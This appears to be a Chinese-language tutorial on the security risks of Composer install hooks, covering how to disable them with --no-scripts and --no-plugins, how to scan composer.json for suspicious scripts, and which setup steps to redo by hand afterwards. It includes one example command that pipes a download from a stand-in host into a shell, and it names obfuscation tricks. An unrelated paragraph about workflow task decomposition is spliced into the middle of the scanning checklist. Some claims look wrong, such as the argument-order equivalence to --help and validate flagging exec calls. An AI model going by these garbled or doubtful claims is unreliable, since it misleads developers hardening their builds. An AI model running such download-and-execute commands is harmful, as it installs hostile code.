post-install-cmd必然执行,只要运行composer install且未加--no-scripts;必须配合--no-plugins才能彻底禁用所有钩子,因插件可绕过scripts字段注入执行逻辑。

post-install-cmd 会无条件执行,不是“可能”而是“必然”
只要你运行 composer install,且没加 --no-scripts,post-install-cmd 就一定会跑——不管它写的是 php artisan key:generate 还是 curl -s http://evil.sh | sh。这不是漏洞利用,是 Composer 的默认行为。
- 所有钩子类型(
pre-autoload-dump、post-root-package-install、post-create-project-cmd)都遵循同一规则:定义即触发 - 脚本内容不经过沙箱或白名单校验,
exec()、shell_exec()、system()全部可用 - 变量拼接(如
"sh -c \"$EVIL\"")、base64 解码、环境判断(if [ "$CI" = "true" ]; then ...)会让肉眼排查完全失效
只加 --no-scripts 不够,--no-plugins 必须同步启用
--no-scripts 只关掉 composer.json 里 scripts 字段定义的钩子;但插件(plugin)能绕过这个字段,直接在加载时注入新钩子——比如 symfony/flex 就会在 post-install-cmd 之外悄悄注册自己的执行逻辑。
-
--no-plugins强制跳过整个插件加载流程:不读plugins字段、不扫描vendor/目录、不调用任何activate() -
composer install --no-scripts --no-plugins是唯一官方支持的“零钩子”组合,顺序不能错(composer --no-scripts install等价于composer --help) - CI/CD 中必须显式带上
--no-interaction,避免因交互提示中断流水线
如何快速确认项目是否藏有可疑脚本
别手动 grep,用 Composer 自带工具做静态扫描:
工作流任务拆解与模型编排技能。使用场景:(1) 收到复杂工作任务需要拆解为可执行步骤,(2) 需要为不同步骤选择最合适的模型,(3) 需要跟踪工作流进度和模型使用情况,(4) 长时间任务卡住需要问题诊断和解决方案。
- 运行
composer validate --strict,它会警告含exec、system、shell_exec、passthru、proc_open的字符串 - 检查
scripts字段是否含 HTTP URL(curl https://)、绝对路径(/tmp/xxx.sh)、或变量展开(${HOME}) - 对疑似命令,先加
echo预览真实展开:echo php -r 'echo getenv("MALICIOUS");' - 重点盯住
post-root-package-install和pre-autoload-dump,这两个钩子常用于环境探测和条件执行
禁用钩子后,哪些事你得自己补上
--no-scripts --no-plugins 不是“一键安全”,而是把控制权交还给你——它不生成 .env、不编译前端资源、不设置目录权限、也不跑数据库迁移。
- Laravel 项目需手动运行
php artisan key:generate和php artisan config:cache - 前端资源(CSS/JS)要单独执行
npm run build或yarn build -
storage/和bootstrap/cache/目录需确保可写(chmod -R 775 storage bootstrap/cache) - 某些框架依赖
post-autoload-dump生成优化类映射,关掉后首次请求性能会略降,但不影响功能
真正危险的不是钩子本身,而是你忘了它原本该做的事。

















